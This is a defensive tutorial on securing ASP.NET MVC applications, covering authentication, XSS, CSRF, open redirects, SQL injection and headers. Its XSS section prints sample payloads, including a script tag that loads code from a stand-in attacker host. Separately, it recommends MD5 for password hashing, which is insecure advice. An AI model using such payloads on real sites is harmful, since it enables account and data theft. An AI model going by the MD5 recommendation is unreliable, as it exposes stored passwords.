Ways of securing a ASP.net MVC Application

Setting up login authentication

One of the easiest ways this is done is through enabling login authentication on program initial startup. We can allow users to set a login and password or be authenticated through third party services like google or Microsoft to like accounts for authentication.

Secondarily, we can use two factor authentication such as email, text, phone call, or even captcha request system for two factor authentication.

Using [Authorize]

using a [Authorize] tag at the top of a controller class only allows its use if the user is signed in specifically and authenticated

ApplicationSignInManager and ApplicationUserManager

this use case allows us to set up two variables with ApplicationSignInManager and ApplicationUserManager variable types to set up authentication. These can be passed to a controller constructor for setup.

[AllowAnonymous] data annotation will alow an override of Authorize for specific functions

There are 5 authentication modes in ASP.NET: Windows/Forms/Passport/Federated/None

Forms Authentication: Using this provider causes unauthenticated requests to be redirected to a specified HTML form using client side redirection. The user can then supply logon credentials, and post the form back to the server. If the application authenticates the request (using application-specific logic), ASP.NET issues a cookie that contains the credentials or a key for reacquiring the client identity. Subsequent requests are issued with the cookie in the request headers, which means that subsequent authentications are unnecessary.

Passport Authentication: This is a centralized authentication service provided by Microsoft that offers a single logon facility and membership services for participating sites. ASP.NET, in conjunction with the Microsoft® Passport software development kit (SDK), provides similar functionality as Forms Authentication to Passport users.

Windows Authentication: This provider utilizes the authentication capabilities of IIS. After IIS completes its authentication, ASP.NET uses the authenticated identity's token to authorize access.

Federated: Delegate authentication to an external identity provider. This can simplify development, minimize the requirement for user administration, and improve the user experience of the application.

None: Used when you are not authenticating users at all, or when you are developing custom authentication code (when you are not using the ASP.NET authentication provider).

Things to do in the authentication process:

- Make sure the user password is complex and hashed before storing it in the users table
- When you want to authenticate a user who is trying to login, make sure you hash the password he provided in the input field and compare the value with the hashed value stored in the Database. It is not recommended to use Ecrypt/Decrypt mechanism, the best practice is to hash the password (I recommend MD5 hashing algorithm)
- Modify the Session ID after logout and on login generate new Session ID by using "System.Web.SessionState.SessionIDManager"
- Implement two factors authentication
- Make sure that none of the admin and regular users have "db_owner" access to your Database

Authorization

Authorization determines whether an identity should be granted access to a specific resource. In ASP.NET, there are two ways to authorize access to a given resource:

- URL authorization: URL authorization is performed to map users and roles to URLs in ASP.NET applications. This process can be used to selectively allow or deny access to arbitrary parts of an application (typically directories) for specific users or roles.

- File authorization: This is configured upon deployment of the website to protect the resources and prevent an attacker from browsing the directories

Cross Site Scripting

XSS can be carried out in one of two ways: by a user entering nasty script commands into a website that accepts unsanitized user input or by user input being directly displayed on a page. The first example is called passive injection—whereby a user enters nastiness into a textbox, for example, and that script gets saved into a database and redisplayed later. The second is called active injection and involves a user entering nastiness into an input, which is immediately displayed onscreen.

Passive Injection:

This type of attack occurs when the website accepts unsanitized input by the attacker and later displays it to the victim. Suppose we have an online messaging board or blog that allows users to post comments. If the input is accepted as is, the attacker can inject a script tag in the comment which might be something like this:

This is a nice post <script>src=http://hackingsite.com/badscript.js</script>

Active Injection:

For active injection, the user input is directly used on the webpage and is not saved on the server. Suppose we have a website that takes user's name as input from the query string and shows a welcome message. As an attacker, I can pass this as the query string parameter: jsmith\x3cscript\x3e%20alert(\x27weak security\x27)%20\x3c/script\x3e. This will display an alert message "weak security" on the webpage.

You should use the following prevention steps to avoid introducing XSS into your application:

- The ASP.NET Request Validation should be Enabled all the time
- Ensure URL query string is encoded
- Ensure content sanitization is enabled to prevent adding scripts and untrusted attributes in the HTML content (you can use the AntiXSS library from nuget)

Cross Site Request Forgery

A cross-site request forgery (CSRF, pronounced C-surf, also known by the acronym XSRF) attack can be quite a bit more potent than simple XSS, discussed earlier. This section discusses CSRF, what it means to you, and how to prevent it.

Cross-Site Request Forgery (CSRF) is an attack where a malicious site sends a request to a vulnerable site where the user is currently logged in.

There are two ways to prevent CSRF attacks:

- Check that incoming requests have a Referer header referencing your domain (use Request.UrlReferrer or Request.ServerVariables). This will stop requests submitted from a third-party domain. However, some people disable their browser’s Referer header for privacy reasons, and attackers can sometimes spoof that header. This is a weak solution

- Put a user-specific token as a hidden field in submit forms, and check that the right value was submitted. The user requests an HTML page that contains a submit form, you include two tokens in the response. One token is sent as a cookie, the other is placed in a hidden form field. The tokens are generated randomly so that an adversary cannot guess the values. When the user submits the form, it must send both tokens back to the server (The browser automatically does this when the user submits the form.). If a request does not include both tokens, the server disallows the request

You can use AntiForgeryTokens to prevent this:

```
@using (Html.BeginForm("Register", "Account", FormMethod.Post, new { @class = "form-horizontal" }))
{
  @Html.AntiForgeryToken()
}
```

This will output something like the following:

```
<form action="/Account/Register" class="form-horizontal" method="post">
 <input name="__RequestVerificationToken" type="hidden" value="sK0JeZQqjaazgtWM5SYPXHhng0CoEWrpE_MWyiajpmDPKL2rjSoUpQAhEYoo1" />
 <!-- rest of form goes here -->
</form>
```

Cookie Stealing

Cookies are one of the things that make the Web usable, as most sites use cookies to identify users after login. Without them, life becomes login box after login box. If attackers can steal your cookie, they can often impersonate you. As a user, you can disable cookies on your browser to minimize the theft of your particular cookie (for a given site), but chances are you'll get a snarky warning that "Cookies must be enabled to access this site."

To prevent cookie stealing you must apply the apply the following:

- Use SSL certificate, only allow HTTPS requests
- Apply Secure and HttpOnly flags in the web.config. This will ensure that they are only sent over an SSL connection

Over Posting:

ASP.NET MVC Model Binding is a powerful feature that greatly simplifies the process handling user input by automatically mapping the input to your model properties based on naming conventions. However, this presents another attack vector, which can allow your attacker an opportunity to populate model properties you didn't even put on your input forms.

How do we prevent this? Well, a few ways. You can mark the property as [ReadOnly]. More commonly, you can use a BindAttribute on the method parameters and just include (whitelist) the properties you want to allow for binding:

```
public async Task<IActionResult> Create([Bind("First,Last")] Person person)
```

Open Redirection Attacks

Any web application that redirects to a URL that is specified via the request such as the QueryString or form data can potentially be tampered with to redirect users to an external, malicious URL. This tampering is called an open redirection attack. Whenever your application logic redirects to a specified URL, you must verify that the redirection URL hasn't been tampered with.

If we try to visit an authorized page and we are not logged in, we are redirected to the login page. This redirection looks like this:

/Account/Login?ReturnUrl=%2FHome%2FIndex.
Once we login we are redirected to the /Home/Index page, as mentioned by the ReturnUrl.

Imagine, if you received an email which has a hyperlink like this:

http://www.mydomain.com?ReturnUrl=www.fakedomain.com

So the user visits the page related to mydomain.com and enters the login name and password. Once the user enters the credentials, he is redirected to fakedomain.com which the attacker has made sure that the page looks similar to the login page of my mydomain.com. The victim might think that he is redirected to the login page again because he mistyped the credentials. So the user types in the username and password again (this time on malicious website) and clicks on Login. The attacker can save the username and password and redirect the victim to the legitimate website. The legitimate website had already authenticated the user on previous attempt, so the user sees the required page that he was trying to access.

In this way, the attacker has stolen the user credentials without the victim ever knowing about it.

How To Prevent?

We can take advantage of the changes in ASP.NET MVC 4 & 5, a new method was added to validate before redirecting the URL, the method is called "RedirectToLocal". Whenever we redirect the user to any URL in the MVC application, we must check that Url is local or not. If not, we must raise an exception that open redirection attack was attempted.

In MVC5, the AccountController Login method has:

```
return RedirectToLocal(returnUrl);
```

This RedirectToLocal tests whether the URL is local or not using Url.IsLocalUrl() method. Similarly, if we are redirecting the user to any page based on the input coming from the user, we should test if the URL is local or not.

Brute Force Attacks:
A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.
To prevent this type of attacks, the following steps should be implemented:

Lock user account after specific number of login attempts
Enable Google reCAPTCHA on Login page

File Upload Protection
To prevent the attackers from uploading malicious files, you need to implement the following steps:

- The file to be uploaded should be validated against a white-list extensions
- Restrict the maximum file size
- Disallow uploading executable files

SQL Injection
SQL injection attack enables a malicious user to execute commands in the website's database by using the privileges granted to the website's login.

To prevent the SQL injection attacks, the following prevention steps should be implemented:

- Input validation (constrain and sanitize input data). Check for bad input data by validating the type and format of the data
- Use SQL stored procedures for data access. The dynamic construction of SQL statements is being protected with the use of type-safe SQL parameters for data access
- Avoid using an over-privileged database login
- Avoid disclosing database error information, the actual error is logged in log file and the user is being redirected to a custom error page. Never display the actual error information
- Encrypt the SQL connection to protect sensitive data: The Entity Framework does not directly handle data encryption. If users access data over a public network, your application should establish an encrypted connection to the data source to increase security

General Security Help
The following security steps should be applied upon the deployment of the MVC web application:

- Enable the response header “Content-Security-Policy”
- Enable the response header "X-Content-Type-Options"
- Enable the response header "X-XSS-Protection”
- Block XFS attacks (Cross-Frame Scripting) by enabling the response header “X-Frame-Options”
- Prevent disclose the server information and the .NET framework information from the response header. The following headers should be removed from the response:
- Server - Specifies web server version (IIS version)
- X-Powered-By - Indicates that the website is "powered by ASP.NET."
- X-AspNet-Version - Specifies the version of ASP.NET used.